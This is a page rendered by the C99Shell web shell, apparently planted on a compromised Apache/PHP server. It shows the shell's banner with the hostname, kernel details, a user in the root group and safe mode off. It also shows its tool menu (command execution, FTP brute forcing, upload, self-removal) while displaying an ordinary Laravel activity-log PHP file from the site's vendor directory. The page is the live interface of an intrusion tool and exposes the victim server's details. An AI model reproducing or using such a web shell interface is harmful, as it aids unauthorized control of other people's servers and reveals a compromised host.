!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/spatie/laravel-activitylog/src/   drwxr-xr-x
Free 23.35 GB of 117.98 GB (19.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CauserResolver.php (2.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Activitylog;

use 
Closure;
use 
Illuminate\Auth\AuthManager;
use 
Illuminate\Contracts\Config\Repository;
use 
Illuminate\Database\Eloquent\Model;
use 
Spatie\Activitylog\Exceptions\CouldNotLogActivity;

class 
CauserResolver
{
    protected 
AuthManager $authManager;

    protected 
string null $authDriver;

    protected 
Closure null $resolverOverride null;

    protected 
Model null $causerOverride null;

    public function 
__construct(Repository $configAuthManager $authManager)
    {
        
$this->authManager $authManager;

        
$this->authDriver $config['activitylog']['default_auth_driver'];
    }

    public function 
resolve(Model int string null $subject null): ?Model
    
{
        if (
$this->causerOverride !== null) {
            return 
$this->causerOverride;
        }

        if (
$this->resolverOverride !== null) {
            
$resultCauser = ($this->resolverOverride)($subject);

            if (! 
$this->isResolvable($resultCauser)) {
                throw 
CouldNotLogActivity::couldNotDetermineUser($resultCauser);
            }

            return 
$resultCauser;
        }

        return 
$this->getCauser($subject);
    }

    protected function 
resolveUsingId(int string $subject): Model
    
{
        
$guard $this->authManager->guard($this->authDriver);

        
$provider method_exists($guard'getProvider') ? $guard->getProvider() : null;
        
$model method_exists($provider'retrieveById') ? $provider->retrieveById($subject) : null;

        
throw_unless($model instanceof ModelCouldNotLogActivity::couldNotDetermineUser($subject));

        return 
$model;
    }

    protected function 
getCauser(Model int string null $subject null): ?Model
    
{
        if (
$subject instanceof Model) {
            return 
$subject;
        }

        if (
is_null($subject)) {
            return 
$this->getDefaultCauser();
        }

        return 
$this->resolveUsingId($subject);
    }

    
/**
     * Override the resover using callback.
     */
    
public function resolveUsing(Closure $callback): static
    {
        
$this->resolverOverride $callback;

        return 
$this;
    }

    
/**
     * Override default causer.
     */
    
public function setCauser(?Model $causer): static
    {
        
$this->causerOverride $causer;

        return 
$this;
    }

    protected function 
isResolvable(mixed $model): bool
    
{
        return 
$model instanceof Model || is_null($model);
    }

    protected function 
getDefaultCauser(): ?Model
    
{
        return 
$this->authManager->guard($this->authDriver)->user();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--